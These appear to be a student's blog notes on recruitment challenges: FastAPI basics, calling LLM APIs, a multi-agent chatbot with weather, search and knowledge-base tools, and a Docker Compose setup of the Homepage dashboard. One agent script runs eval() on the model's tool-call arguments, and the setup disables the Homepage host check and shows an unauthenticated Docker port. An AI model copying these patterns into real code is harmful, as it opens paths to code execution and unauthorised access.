- await：仅在异步函数中使用，暂停当前协程等待异步操作完成，不阻塞事件循环。
- yield：创建生成器，中断函数并返回中间结果，后续可从断点继续执行，用于资源管理。
应用场景：匹配异步编程模型，避免数据库等IO操作阻塞应用，提升并发处理能力。

四、项目结构与APIRouter

（一）路由模块化

模块拆分：将API按功能拆分为users和items等模块，分别在不同文件中定义路由。
APIRouter使用：每个模块创建APIRouter实例，定义该模块的路由与业务逻辑，在主应用中通过include_router注册路由并添加前缀。

（二）项目结构示例

project/
├── main.py          # 主应用入口，注册路由
├── routers/         # 路由模块文件夹
│   ├── users.py     # 用户相关路由
│   └── items.py     # 商品相关路由

五、中间件与生命周期管理

（一）自定义中间件

为FastAPI应用添加HTTP中间件，记录每个请求的处理耗时并打印到控制台，中间件在请求到达路由前和响应返回客户端前执行。

（二）应用生命周期管理

替代on_event钩子：使用lifespan上下文管理器，更优雅地处理应用启动和关闭逻辑，支持异常捕获与资源清理。
资源初始化与销毁：在启动阶段创建数据库连接池并存储在app.state中，应用关闭时安全关闭连接池，确保资源合理释放。

LLM专题

御林招新题：LLM 专题

一、准备工作

账号与API Key获取：注册LLM服务提供商账号（如硅基流动、阿里云百炼），申请并获取对应API Key，注意不同地域的API Key可能存在差异。

二、编程调用API

环境准备：选用Python语言，安装openai库。
脚本编写：配置客户端（指定API Key和base_url），构造请求参数（选择模型、设置对话消息），发送请求并解析返回结果，打印模型回复。
示例模型：选用qwen-plus等模型，可通过官方文档查询支持的模型列表。

三、模型能力探索

多模型对比：调用至少三种不同模型（如qwen-plus、qwen-max、deepseek-v3.2-exp），针对同一问题提问。
差异分析：从回答风格（结构化程度、语言简洁度）、准确性（内容完整性、专业性）、响应速度及内容深度等维度对比模型表现。

四、构建命令行聊天机器人

核心功能
- 交互循环：通过无限循环持续接收用户输入，并发送给LLM。
- 流式输出：配置stream=True实现模型回复的实时流式打印。
- 退出机制：用户输入quit或exit时，程序优雅退出。
关键实现：处理流式响应的分块内容，过滤空片段，确保输出格式整洁。

五、提示词工程（Prompt Engineering）

角色扮演：修改系统提示词，让模型扮演特定角色（如Linux导师、幽默段子手），引导模型输出符合角色设定的内容。
指令遵循：下达复杂指令，要求模型按指定格式（如Markdown）输出内容（如整理Linux命令及示例）。
输出限制：在提示词中明确约束回答的长度（如100字以内）或格式，规范模型输出结果。

Agent专题

一、工具调用实现

（一）工具设计与开发

天气查询工具
- 功能：接收城市名参数，调用第三方天气API（如聚合数据API），返回指定城市的实时天气（温度、天气状况、湿度）。
- 实现：通过requests库发送HTTP请求，解析返回的JSON数据，格式化输出结果，包含异常处理机制。
网络搜索工具
- 功能：接收关键词参数，调用DuckDuckGo免费搜索API，返回搜索结果摘要（优先提取摘要信息，补充相关主题内容）。
- 实现：配置API请求参数，处理网络异常和JSON解析异常，过滤无效结果并整理输出。

（二）工具调用流程

配置LLM客户端（基于openai库，对接阿里云百炼等服务），在请求中声明工具列表及参数规范。
LLM自动识别用户需求，生成工具调用指令，包含工具名称和参数。
解析工具调用指令，执行对应工具函数，将结果回传给LLM，由LLM整理为自然语言回答。

二、记忆功能实现

核心原理：通过messages列表存储历史对话内容，包括用户输入、LLM响应（含工具调用记录）和工具执行结果。
交互应用：后续对话中，LLM可从历史记录中提取上下文信息（如用户之前询问的城市），实现追问响应（如用户问“那明天呢？”可关联之前的天气查询需求）。

三、多Agent协同工作

（一）角色设计

Agent A（规划者）：负责任务拆解、工具分配和结果整合，接收用户请求后分解为子任务，指定对应工具及参数，等待执行结果并生成最终回答。
Agent B（执行者）：专注于工具调用执行，接收Agent A的指令，严格调用指定工具，返回原始执行结果，不添加额外处理。

（二）协同流程

用户提交复合任务（如“查北京明天天气及著名IT公司”）。
Agent A拆解为两个子任务，分别分配给Agent B执行。
Agent B调用对应工具（天气查询、网络搜索）并返回结果。
Agent A整合子任务结果，以流畅语言回复用户。
关键保障：设计统一的消息传递机制，明确角色分工的提示词，确保指令传递和结果反馈准确。

四、知识库集成

（一）知识库构建

存储形式：以Markdown文件为载体，按标题分割知识条目，包含标题和正文内容。
语义处理：使用paraphrase-multilingual-MiniLM-L12-v2预训练模型，将知识条目转化为向量嵌入，便于语义检索。

（二）检索与集成

检索逻辑：接收用户查询关键词，生成查询向量，通过余弦相似度计算匹配最相关的知识条目（设置相似度阈值过滤无效结果）。
系统集成：将知识库查询作为工具加入工具列表，Agent A优先调用该工具回答特定领域问题（如技术概念），提升回答的精准性和定制化程度。

御林招新题：Agent 专题

Tue, 21 Oct 2025 00:00:00 +0000

实现工具调用（Tool Calling）

设计工具：你必须实现至少两个工具。当用户提出相关需求时，你的 Agent 必须能够识别并调用相应的工具。

qwen 的工具调用整合了 OpenAI，所以可以看 OpenAI 的使用文档：函数调用 - OpenAI 中文文档，写得比较简略；openai-python/api.md at main · openai/openai-python 仓库，详细但是冗杂

基本步骤：

创建助手，以调用外部 API 来回答问题（定义函数）

将自然语言转换为 API 调用

从文本中提取结构化的数据

工具1：天气查询工具

可以使用爬虫实现，也可以寻找相应的api提供商
- 功能：接受城市名作为参数。
- 返回：指定城市的实时天气信息，包括温度、天气状况（晴、多云、雨等）和湿度。
- 用户交互示例：当用户问“北京今天天气怎么样？”时，Agent 必须识别出“北京”并调用此工具，然后返回天气信息。

注册接口：天气预报查询接口_天聚地合

WEATHER_API_KEY = "..."
def get_weather(city: str) -> str:
    url = f"http://apis.juhe.cn/simpleWeather/query?city={city}&key={WEATHER_API_KEY}"
    response = requests.get(url)
    data = response.json()
    if data.get("reason") == "查询成功!":
        result = data["result"]
        return (f"{city}当前天气：{result['realtime']['info']}，"
                f"温度：{result['realtime']['temperature']}℃，"
                f"湿度：{result['realtime']['humidity']}%")
    return f"查询天气失败：{data.get('reason', '未知错误')}"

工具2：网络搜索工具

可以使用Searxng，也可以使用其它专业的api
- 功能：接受关键词作为参数。
- 返回：基于关键词的网络搜索结果摘要。
- 用户交互示例：当用户问“2024 年奥运会在哪里举办？”时，Agent 能够使用此工具进行搜索并给出答案。

试了自己的 searxng，可能是格式问题跑不通，换了个 API

def web_search(query: str) -> str:
    # DuckDuckGo 免费搜索 API（无需注册，直接使用）
    url = "https://api.duckduckgo.com/"
    params = {
        "q": query,
        "format": "json",
        "no_html": 1,  # 不返回 HTML 内容
        "no_redirect": 1  # 不返回跳转链接
    }
    try:
        response = requests.get(url, params=params, timeout=10)
        response.raise_for_status()  # 检查 HTTP 状态码（如 404、500 会报错）
    except requests.exceptions.RequestException as e:
        return f"搜索请求失败：{str(e)}"

    try:
        data = response.json()
    except requests.exceptions.JSONDecodeError:
        return "搜索结果解析失败：返回内容不是有效的 JSON"

    # 提取结果（DuckDuckGo 的 JSON 结构与 SearXNG 不同）
    summary = []
    # 1. 优先取 "Abstract"（摘要）
    if data.get("Abstract"):
        summary.append(f"摘要：{data['Abstract']}")
    # 2. 再取 "RelatedTopics"（相关主题）的前 2 条
    for topic in data.get("RelatedTopics", [])[:2]:
        if "Text" in topic:
            summary.append(f"- {topic['Text']}")

    if not summary:
        return "未找到相关搜索结果"
    return "\n".join(summary)

实现记忆功能（Memory）

功能：你的 Agent 必须能够记住之前的对话内容，并在后续的交互中利用这些信息。
用户交互示例：
- 用户：“今天上海天气怎么样？”
- Agent：“上海今天晴，气温 25 度。”
- 用户：“那明天呢？”
- Agent 必须能够理解“那明天呢？”是关于“上海天气”的追问，并给出正确的答案。

记忆管理：用 message[] 存储以前对话的信息

messages = []
While True:
    ...
    messages.append({"role": "user", "content": user_input})
    # 调用的时候再传入 messages
    ...
    # 调用结束，结果再传入 messages
    messages.append({
        "role": "assistant",
        "content": response_message.content,
        "tool_calls": [
            {
                "id": tc.id,
                "type": tc.type,
                "function": {
                    "name": tc.function.name,
                    "arguments": tc.function.arguments
                }
            } for tc in response_message.tool_calls
        ] if response_message.tool_calls else None
    })

完整示例代码

将工具调用、记忆整合：

import os
import requests
from bs4 import BeautifulSoup
from openai import OpenAI

# 初始化 OpenAI 客户端
client = OpenAI(
    api_key="...",
    base_url="https://dashscope.aliyuncs.com/compatible-mode/v1",
)

# 天气查询工具
WEATHER_API_KEY = "..."  # 需注册聚合数据等平台获取

def get_weather(city: str) -> str:
    url = f"http://apis.juhe.cn/simpleWeather/query?city={city}&key={WEATHER_API_KEY}"
    response = requests.get(url)
    data = response.json()
    if data.get("reason") == "查询成功!":
        result = data["result"]
        return (f"{city}当前天气：{result['realtime']['info']}，"
                f"温度：{result['realtime']['temperature']}℃，"
                f"湿度：{result['realtime']['humidity']}%")
    return f"查询天气失败：{data.get('reason', '未知错误')}"

# 网络搜索工具
# SEARXNG_URL = "http://8.137.38.223:8081/"  # 用不了
def web_search(query: str) -> str:
    # DuckDuckGo 免费搜索 API（无需注册，直接使用）
    url = "https://api.duckduckgo.com/"
    params = {
        "q": query,
        "format": "json",
        "no_html": 1,  # 不返回 HTML 内容
        "no_redirect": 1  # 不返回跳转链接
    }
    try:
        response = requests.get(url, params=params, timeout=10)
        response.raise_for_status()  # 检查 HTTP 状态码（如 404、500 会报错）
    except requests.exceptions.RequestException as e:
        return f"搜索请求失败：{str(e)}"
    
    try:
        data = response.json()
    except requests.exceptions.JSONDecodeError:
        return "搜索结果解析失败：返回内容不是有效的 JSON"
    
    # 提取结果（DuckDuckGo 的 JSON 结构与 SearXNG 不同）
    summary = []
    # 1. 优先取 "Abstract"（摘要）
    if data.get("Abstract"):
        summary.append(f"摘要：{data['Abstract']}")
    # 2. 再取 "RelatedTopics"（相关主题）的前 2 条
    for topic in data.get("RelatedTopics", [])[:2]:
        if "Text" in topic:
            summary.append(f"- {topic['Text']}")
    
    if not summary:
        return "未找到相关搜索结果"
    return "\n".join(summary)

#核心，调用 AI
# 初始化对话记忆（上下文）
messages = []

while True:
    user_input = input("\n你：")
    if user_input in ["exit", "quit"]:
        print("AI：拜拜~")
        break
    
    # 将用户输入加入记忆
    messages.append({"role": "user", "content": user_input})
    
    # 调用模型生成响应（可能包含工具调用）
    response = client.chat.completions.create(
        model="qwen-plus",
        messages=messages,
        tools=[
            {
                "type": "function",
                "function": {
                    "name": "get_weather",
                    "description": "查询指定城市的实时天气",
                    "parameters": {
                        "type": "object",
                        "properties": {
                            "city": {"type": "string", "description": "城市名称，如北京、上海"}
                        },
                        "required": ["city"]
                    }
                }
            },
            {
                "type": "function",
                "function": {
                    "name": "web_search",
                    "description": "网络搜索关键词相关信息",
                    "parameters": {
                        "type": "object",
                        "properties": {
                            "query": {"type": "string", "description": "搜索关键词"}
                        },
                        "required": ["query"]
                    }
                }
            }
        ],
        tool_choice="auto", # 让 AI 自己决定是否调用 tools
    )

    response_message = response.choices[0].message

    # 将模型的响应消息（含 tool_calls）加入 messages
    messages.append({
        "role": "assistant",
        "content": response_message.content,
        "tool_calls": [
            {
                "id": tc.id,
                "type": tc.type,
                "function": {
                    "name": tc.function.name,
                    "arguments": tc.function.arguments
                }
            } for tc in response_message.tool_calls
        ] if response_message.tool_calls else None
    })

    # 处理工具调用
    if response_message.tool_calls:
        for tool_call in response_message.tool_calls:
            function_name = tool_call.function.name
            function_args = eval(tool_call.function.arguments)

            # 调用工具
            if function_name == "get_weather":
                tool_result = get_weather(**function_args)
            elif function_name == "web_search":
                tool_result = web_search(** function_args)
            else:
                tool_result = f"未知工具：{function_name}"

            # 工具结果加入 messages（确保 tool_call_id 正确）
            messages.append({
                "role": "tool",
                "tool_call_id": tool_call.id,  # 对应前置 tool_calls 的 id
                "name": function_name,
                "content": tool_result
            })

        # 生成最终回答
        final_response = client.chat.completions.create(
            model="qwen-plus",
            messages=messages,
        )
        print(f"AI：{final_response.choices[0].message.content}")
    else:
        # 无工具调用，直接输出
        print(f"AI：{response_message.content}")

效果：

多 Agent 协同工作

场景：设计至少两个不同的 Agent 角色，让它们在完成一个共同任务时能够互相协作。

参考 openai-sdk 文档：编排多个 Agents - OpenAI Agents SDK - 中文文档

实现要点：

需要设计一个消息总线或队列，让 Agent A 能把任务指令发给 Agent B，Agent B 也能把结果回传给 Agent A。

每个 Agent 需要有角色专属的 Prompt（提示词），让其记住自己的分工

工具需要有统一的调用接口

Agent 角色设计：
- Agent A（规划者）：负责分解任务，将任务分配给其他 Agent，并综合最终结果。
- Agent B（执行者）：专门负责调用工具和执行具体操作。
协作流程示例：
- 用户：“请帮我查一下，北京明天的天气，然后告诉我这个城市都有哪些著名的 IT 公司。”
- **Agent A（规划者）**接收请求，将其分解为两个子任务：
  - 子任务1：查询北京明天的天气。
  - 子任务2：查询北京的著名 IT 公司。
- Agent A 将子任务1分配给Agent B（执行者），要求其调用“天气查询工具”。
- Agent A 再次将子任务2分配给Agent B，要求其调用“网络搜索工具”。
- Agent A 收到两个子任务的执行结果后，将它们整合，并以流畅的语言回答用户。

与平时的代码不同，用 Agent 需要把部分代码功能交给 Ai 去处理

完整示例代码

import os
import json
import requests
from openai import OpenAI

# 初始化 OpenAI 客户端
client = OpenAI(
    api_key="...",
    base_url="https://dashscope.aliyuncs.com/compatible-mode/v1",
)

# 工具定义
WEATHER_API_KEY = "..."

def get_weather(city: str) -> str:
    """查询指定城市的实时天气"""
    url = f"http://apis.juhe.cn/simpleWeather/query?city={city}&key={WEATHER_API_KEY}"
    try:
        response = requests.get(url, timeout=10)
        response.raise_for_status()
        data = response.json()
    except requests.exceptions.RequestException as e:
        return f"天气查询请求失败：{str(e)}"
    except json.JSONDecodeError:
        return "天气查询结果解析失败：返回内容不是有效的JSON"

    if data.get("reason") == "查询成功!":
        result = data["result"]
        return (f"{city}当前天气：{result['realtime']['info']}，"
                f"温度：{result['realtime']['temperature']}℃，"
                f"湿度：{result['realtime']['humidity']}%")
    return f"查询天气失败：{data.get('reason', '未知错误')}"

def web_search(query: str) -> str:
    """使用DuckDuckGo进行网络搜索"""
    url = "https://api.duckduckgo.com/"
    params = {
        "q": query,
        "format": "json",
        "no_html": 1,
        "no_redirect": 1
    }
    try:
        response = requests.get(url, params=params, timeout=10)
        response.raise_for_status()
    except requests.exceptions.RequestException as e:
        return f"搜索请求失败：{str(e)}"
    
    try:
        data = response.json()
    except json.JSONDecodeError:
        return "搜索结果解析失败：返回内容不是有效的JSON"
    
    summary = []
    if data.get("Abstract"):
        summary.append(f"摘要：{data['Abstract']}")
    for topic in data.get("RelatedTopics", [])[:2]:
        if "Text" in topic:
            summary.append(f"- {topic['Text']}")
    return "\n".join(summary) if summary else "未找到相关搜索结果"

# Agent 角色定义（关键修改：明确Agent B只返回结果）
AGENT_A_PROMPT = """你是 Agent A，任务规划者。职责：
1. 分析用户请求，拆解为需要执行的子任务（每个子任务对应一个工具调用）
2. 为每个子任务指定需要调用的工具（get_weather 或 web_search）和参数
3. 等待所有子任务执行完成后，整合结果并以自然语言回复用户

重要规则：
- 当需要工具调用时，必须生成明确的 tool_call
- 不要自己执行工具调用
- 工具调用结果会通过 tool_response 反馈给你"""

AGENT_B_PROMPT = """你是 Agent B，任务执行者。职责：
1. 接收 Agent A 的子任务指令
2. 严格按指令调用指定工具（get_weather 或 web_search）
3. 仅返回工具调用的原始结果，不要添加任何解释或格式化

重要规则：
- 你不需要生成 tool_call
- 直接返回工具函数的执行结果字符串
- 结果必须是纯文本，不要包含JSON或其他结构"""

# 初始化Agent A的对话记忆（关键：保留完整上下文）
messages_a = [{"role": "system", "content": AGENT_A_PROMPT}]

# 工具列表定义
tools = [
    {
        "type": "function",
        "function": {
            "name": "get_weather",
            "description": "查询城市实时天气",
            "parameters": {
                "type": "object",
                "properties": {"city": {"type": "string"}},
                "required": ["city"]
            }
        }
    },
    {
        "type": "function",
        "function": {
            "name": "web_search",
            "description": "网络搜索关键词",
            "parameters": {
                "type": "object",
                "properties": {"query": {"type": "string"}},
                "required": ["query"]
            }
        }
    }
]

def main():
    # Agent B 的上下文只需初始化一次
    messages_b = [{"role": "system", "content": AGENT_B_PROMPT}]
    
    while True:
        user_input = input("\n你：")
        if user_input.lower() in ["exit", "quit", "退出"]:
            print("AI：拜拜~")
            break
        
        # 将用户输入加入Agent A的上下文
        messages_a.append({"role": "user", "content": user_input})
        
        # Agent A：拆解任务并生成工具调用计划
        while True:  # 循环处理多轮工具调用
            agent_a_response = client.chat.completions.create(
                model="qwen-plus",
                messages=messages_a,
                tools=tools,
                tool_choice="auto"
            )
            agent_a_msg = agent_a_response.choices[0].message
            messages_a.append(agent_a_msg)
            
            # 检查是否需要工具调用
            if not agent_a_msg.tool_calls:
                # 无需工具调用，直接输出结果
                print(f"AI：{agent_a_msg.content}")
                break
            
            # 处理所有工具调用
            tool_results = []
            for tool_call in agent_a_msg.tool_calls:
                func_name = tool_call.function.name
                try:
                    func_args = json.loads(tool_call.function.arguments)
                except json.JSONDecodeError:
                    tool_results.append(f"工具调用参数解析失败：{tool_call.function.arguments}")
                    continue
                
                # Agent B 执行工具调用（关键：直接调用工具函数）
                print(f"正在执行: {func_name}({func_args})...")
                if func_name == "get_weather":
                    result = get_weather(**func_args)
                elif func_name == "web_search":
                    result = web_search(**func_args)
                else:
                    result = f"未知工具：{func_name}"
                
                tool_results.append(result)
                
                # 将结果反馈给 Agent A
                messages_a.append({
                    "role": "tool",
                    "tool_call_id": tool_call.id,
                    "name": func_name,
                    "content": result
                })
            
            # 清空 Agent B 的上下文（仅保留系统提示）
            messages_b = [messages_b[0]]

        # 保存最终回复到上下文
        if agent_a_msg.content:
            messages_a.append({"role": "assistant", "content": agent_a_msg.content})

if __name__ == "__main__":
    main()

不知道为什么搜索又出了问题

实现任意形式的知识库

功能：构建一个外部知识库（可以是简单的文本文件、Markdown 文档，甚至一个小型数据库）。
集成：将知识库集成到你的 Agent 系统中，使其能够通过检索知识库来回答问题。
用户交互示例：
- 用户：“什么是 DevOps？”
- Agent 能够通过检索你提供的知识库，而不是纯粹依赖 LLM 的通用知识，来回答这个问题。这展示了 Agent 能够利用私有数据或特定领域数据来提供更精确和定制化的答案。

实现：

需要用到预训练模型（这里用paraphrase-multilingual-MiniLM-L12-v2）来识别语义，将语义相近的文本转化为数值相近的向量
- 导入 SentenceTransformer 模型
需要手动处理模型，将文本处理成可理解的嵌入向量
还有用向量计算内容相关性等知识……不太懂

# 大致的关键代码
def __init__(self, kb_path="knowledge_base.md"):
    self.kb_path = kb_path  # 知识库文件路径
    self.model = SentenceTransformer('paraphrase-multilingual-MiniLM-L12-v2')  # 加载预训练模型
    self.entries = []  # 存储解析后的知识库条目（标题+文本）
    self.embeddings = []  # 存储文本的嵌入向量（计算机可理解的“数字表示”）
    self.load_and_process()  # 启动加载与处理流程

# 还需要手动处理 entry、text 等内容
def load_and_process(self):
    # 检查文件是否存在，不存在则创建示例知识库
    if not os.path.exists(self.kb_path):
        self.create_sample_kb()
    
    # 读取文件内容
    with open(self.kb_path, 'r', encoding='utf-8') as f:
        content = f.read()
    
    # 按Markdown标题分割条目（核心解析逻辑）
    entries = re.split(r'\n# ', content)  # 用“换行+# ”分割内容（Markdown一级标题格式）
    if entries and entries[0].strip() == '':  # 处理开头可能的空字符串
        entries = entries[1:]
    
    # 提取每个条目的标题和文本，存入self.entries
    for entry in entries:
        lines = entry.split('\n', 1)  # 按第一个换行分割（标题和正文分离）
        title = lines[0].strip()  # 标题（如“DevOps”）
        text = lines[1].strip() if len(lines) > 1 else ""  # 正文内容
        self.entries.append({"title": title, "text": text})
        
# 生成嵌入
if self.entries:
    # 将每个条目的“标题+文本”拼接成完整字符串
    texts = [f"{e['title']}: {e['text']}" for e in self.entries]
    # 用模型将文本转化为向量（嵌入），存储到 self.embeddings
    self.embeddings = self.model.encode(texts, convert_to_tensor=True)

完整示例代码

import os
import json
import requests
import re
from openai import OpenAI
from sentence_transformers import SentenceTransformer
import torch

# 初始化 OpenAI 客户端
client = OpenAI(
    api_key="......", 
    base_url="https://dashscope.aliyuncs.com/compatible-mode/v1",
)

# 工具定义
WEATHER_API_KEY = "......"

def get_weather(city: str) -> str:
    """查询指定城市的实时天气"""
    url = f"http://apis.juhe.cn/simpleWeather/query?city={city}&key={WEATHER_API_KEY}"
    try:
        response = requests.get(url, timeout=10)
        response.raise_for_status()
        data = response.json()
    except requests.exceptions.RequestException as e:
        return f"天气查询请求失败：{str(e)}"
    except json.JSONDecodeError:
        return "天气查询结果解析失败：返回内容不是有效的JSON"

    if data.get("reason") == "查询成功!":
        result = data["result"]
        return (f"{city}当前天气：{result['realtime']['info']}，"
                f"温度：{result['realtime']['temperature']}℃，"
                f"湿度：{result['realtime']['humidity']}%")
    return f"查询天气失败：{data.get('reason', '未知错误')}"

def web_search(query: str) -> str:
    """使用DuckDuckGo进行网络搜索"""
    url = "https://api.duckduckgo.com/"
    params = {
        "q": query,
        "format": "json",
        "no_html": 1,
        "no_redirect": 1
    }
    try:
        response = requests.get(url, params=params, timeout=10)
        response.raise_for_status()
    except requests.exceptions.RequestException as e:
        return f"搜索请求失败：{str(e)}"
    
    try:
        data = response.json()
    except json.JSONDecodeError:
        return "搜索结果解析失败：返回内容不是有效的JSON"
    
    summary = []
    if data.get("Abstract"):
        summary.append(f"摘要：{data['Abstract']}")
    for topic in data.get("RelatedTopics", [])[:2]:
        if "Text" in topic:
            summary.append(f"- {topic['Text']}")
    return "\n".join(summary) if summary else "未找到相关搜索结果"

class KnowledgeBase:
    """简单的知识库系统，支持语义搜索"""
    
    def __init__(self, kb_path="knowledge_base.md"):
        self.kb_path = kb_path
        self.model = SentenceTransformer('paraphrase-multilingual-MiniLM-L12-v2')
        self.entries = []
        self.embeddings = None  # 初始化为None
        self.load_and_process()
    
    def load_and_process(self):
        """加载知识库文件并生成嵌入向量"""
        if not os.path.exists(self.kb_path):
            # 创建示例知识库
            self.create_sample_kb()
        
        with open(self.kb_path, 'r', encoding='utf-8') as f:
            content = f.read()
        
        # 按Markdown标题分割条目
        entries = re.split(r'\n# ', content)
        if entries and entries[0].strip() == '':
            entries = entries[1:]
        
        self.entries = []
        for entry in entries:
            lines = entry.split('\n', 1)
            title = lines[0].strip()
            text = lines[1].strip() if len(lines) > 1 else ""
            self.entries.append({"title": title, "text": text})
        
        # 生成嵌入
        if self.entries:
            texts = [f"{e['title']}: {e['text']}" for e in self.entries]
            self.embeddings = self.model.encode(texts, convert_to_tensor=True)
        else:
            self.embeddings = None
    
    def create_sample_kb(self):
        """创建示例知识库，不存在时调用"""
        sample_kb = """# DevOps
DevOps 是什么呢？
"""
        with open(self.kb_path, 'w', encoding='utf-8') as f:
            f.write(sample_kb)
        print(f"已创建示例知识库文件: {self.kb_path}")
    
    def search(self, query, top_k=2):
        """搜索知识库，返回最相关的条目"""
        if not self.entries or self.embeddings is None:
            return [{"title": "知识库为空", "text": "没有可用的知识库条目", "score": 0.0}]
            
        query_embedding = self.model.encode([query], convert_to_tensor=True)
        
        # 计算余弦相似度
        cos_scores = torch.nn.functional.cosine_similarity(
            query_embedding, 
            self.embeddings
        )
        
        # 获取top_k结果
        top_results = torch.topk(cos_scores, k=min(top_k, len(cos_scores)))
        
        results = []
        for idx, score in zip(top_results.indices, top_results.values):
            if score > 0.3:  # 设置相似度阈值
                results.append({
                    "title": self.entries[idx]["title"],
                    "text": self.entries[idx]["text"],
                    "score": float(score)
                })
        
        return results

# 初始化知识库
kb = KnowledgeBase()

def query_knowledge_base(query: str) -> str:
    """查询知识库并返回格式化结果"""
    results = kb.search(query)
    
    if not results or (len(results) == 1 and results[0]["title"] == "知识库为空"):
        return "在知识库中未找到相关信息"
    
    response = "【知识库检索结果】\n"
    for i, res in enumerate(results, 1):
        response += f"\n{i}. {res['title']}\n{res['text']}\n相似度: {res['score']:.2f}\n"
    
    return response

# 角色定义
AGENT_A_PROMPT = """你是 Agent A，任务规划者。职责：
1. 分析用户请求，拆解为需要执行的子任务（每个子任务对应一个工具调用）
2. 为每个子任务指定需要调用的工具（get_weather、web_search 或 query_knowledge_base）和参数
3. 等待所有子任务执行完成后，整合结果并以自然语言回复用户

重要规则：
- 当用户询问特定领域知识（如技术概念、公司内部信息等）时，优先使用 query_knowledge_base 工具
- 当需要实时信息（如天气、新闻）时，使用 get_weather 或 web_search
- 不要自己编造知识库中没有的信息
- 工具调用结果会通过 tool_response 反馈给你"""

AGENT_B_PROMPT = """你是 Agent B，任务执行者。职责：
1. 接收 Agent A 的子任务指令
2. 严格按指令调用指定工具（get_weather、web_search 或 query_knowledge_base）
3. 仅返回工具调用的原始结果，不要添加任何解释或格式化

重要规则：
- 你不需要生成 tool_call
- 直接返回工具函数的执行结果字符串
- 结果必须是纯文本，不要包含JSON或其他结构"""

# 初始化Agent A的对话记忆
messages_a = [{"role": "system", "content": AGENT_A_PROMPT}]

# 工具列表定义（新增知识库查询工具）
tools = [
    {
        "type": "function",
        "function": {
            "name": "get_weather",
            "description": "查询城市实时天气",
            "parameters": {
                "type": "object",
                "properties": {"city": {"type": "string"}},
                "required": ["city"]
            }
        }
    },
    {
        "type": "function",
        "function": {
            "name": "web_search",
            "description": "网络搜索关键词",
            "parameters": {
                "type": "object",
                "properties": {"query": {"type": "string"}},
                "required": ["query"]
            }
        }
    },
    {
        "type": "function",
        "function": {
            "name": "query_knowledge_base",
            "description": "查询内部知识库获取特定领域知识",
            "parameters": {
                "type": "object",
                "properties": {"query": {"type": "string"}},
                "required": ["query"]
            }
        }
    }
]

def main():
    while True:
        user_input = input("\n你：")
        if user_input.lower() in ["exit", "quit", "退出"]:
            print("AI：拜拜~")
            break
        
        # 将用户输入加入Agent A的上下文
        messages_a.append({"role": "user", "content": user_input})
        
        # Agent A：拆解任务并生成工具调用计划
        while True:  # 处理多轮工具调用
            try:
                agent_a_response = client.chat.completions.create(
                    model="qwen-plus",
                    messages=messages_a,
                    tools=tools,
                    tool_choice="auto"
                )
                agent_a_msg = agent_a_response.choices[0].message
                messages_a.append(agent_a_msg)
            except Exception as e:
                print(f"API调用错误: {str(e)}")
                break
            
            # 检查是否需要工具调用
            if not hasattr(agent_a_msg, 'tool_calls') or not agent_a_msg.tool_calls:
                # 无需工具调用，直接输出结果
                print(f"AI：{agent_a_msg.content}")
                break
            
            # 处理所有工具调用
            for tool_call in agent_a_msg.tool_calls:
                func_name = tool_call.function.name
                try:
                    func_args = json.loads(tool_call.function.arguments)
                    print(f"正在执行: {func_name}({json.dumps(func_args, ensure_ascii=False)})...")
                except json.JSONDecodeError:
                    # 工具调用参数解析失败，反馈给Agent A
                    messages_a.append({
                        "role": "tool",
                        "tool_call_id": tool_call.id,
                        "name": func_name,
                        "content": f"工具调用参数解析失败：{tool_call.function.arguments}"
                    })
                    continue
                
                # 执行工具调用
                try:
                    if func_name == "get_weather":
                        result = get_weather(**func_args)
                    elif func_name == "web_search":
                        result = web_search(**func_args)
                    elif func_name == "query_knowledge_base":
                        result = query_knowledge_base(**func_args)
                    else:
                        result = f"未知工具：{func_name}"
                except Exception as e:
                    result = f"执行工具时出错: {str(e)}"
                
                # 将结果反馈给 Agent A
                messages_a.append({
                    "role": "tool",
                    "tool_call_id": tool_call.id,
                    "name": func_name,
                    "content": result
                })
        
        # 保存最终回复到上下文
        if hasattr(agent_a_msg, 'content') and agent_a_msg.content:
            messages_a.append({"role": "assistant", "content": agent_a_msg.content})

if __name__ == "__main__":
    main()

勉强跑通，但是具体的实现不太了解，感觉接口有点复杂了

knowledge_base.md:
1
2
# DevOps
DevOps是一个大笨蛋

效果：

知识缺漏比较多，先到这里吧

御林招新题：Homepage

Mon, 20 Oct 2025 00:00:00 +0000

任务：安装并配置一个基础的 Homepage

什么是 Homepage？

A modern, fully static, fast, secure fully proxied, highly customizable application dashboard with integrations for over 100 services and translations into multiple languages. Easily configured via YAML files or through docker label discovery.

阅读文档，选择安装方式

访问 Homepage 的官方 GitHub 或官方网站。
在文档中找到“安装指南”部分，根据你已经学过的知识，选择最合适的安装方式（推荐使用 Docker 或 Docker Compose）。
根据文档说明，完成 Homepage 的安装。

理解配置，设置主页标题

在文档中找到“配置”部分，了解其配置文件的结构。

# docker compose 的配置
# 可以用 docker proxy 来反向代理，增加安全性？
# 保存为 docker-compose.yml,然后 docker-compose up -d 启动,后续直接修改 yml,docker-compose restart 即可修改配置
services:
  homepage:
    image: ghcr.io/gethomepage/homepage:latest
    container_name: homepage
    environment:
      HOMEPAGE_ALLOWED_HOSTS: 8.137.38.223:3000 # 补上端口
      # required, may need port. See gethomepage.dev/installation/#homepage_allowed_hosts
      PUID: 1000 # optional, your user id
      PGID: 1000 # optional, your group id
    ports:
      - 3000:3000
    volumes:
      - ~/docker/homepage/config:/app/config # Make sure your local config directory exists
      # - /var/run/docker.sock:/var/run/docker.sock:ro # optional, for docker integrations # 用到 docker 集成的时候需要
    restart: unless-stopped

mkdir -p ~/docker/homepage/config

启动容器后自动挂载

安装 docker-compose

~~加装一下（要用 pip3），又发现要 rust 环境，再加装–~~

sudo curl -L "https://github.com/docker/compose/releases/download/1.29.1/docker-compose-$(uname -s)-$(uname -m)" -o /usr/local/bin/docker-compose

sudo chmod +x /usr/local/bin/docker-compose

进去了但没完全进去……

~~原因是配置文件只写了域名没写端口，改一下~~

原因是 HOMEPAGE_ALLOWED_HOSTS 得要配置，先设置为 “*” 禁用了（不安全，可能会被攻击）

restart 还没办法重载配置……需要docker-compose down然后docker-compose up -d，就可以进入了

# cofig 的配置
my-remote-docker:
  host: 192.168.0.101
  port: 2375

根据文档说明，修改配置文件，将你的主页标题设置为你喜欢的名字（例如：“我的DevOps控制台”）。

参考：Settings - Homepage，修改完可以热加载

有主题、外观等等

添加你的第一个服务

在文档中找到“服务（Services）”或“应用程序（Apps）”相关的章节。

参考：Services - Homepage，修改 service.yaml

根据文档中的示例，在配置文件中添加至少一个服务。这个服务可以是：
- 你在 Docker 任务中搭建的 searxng。
- 一个你常用的网站，例如 GitHub、你自己的博客或任何其他网站。
要求：确保你正确配置了服务的名称、图标和URL。

- Group One:
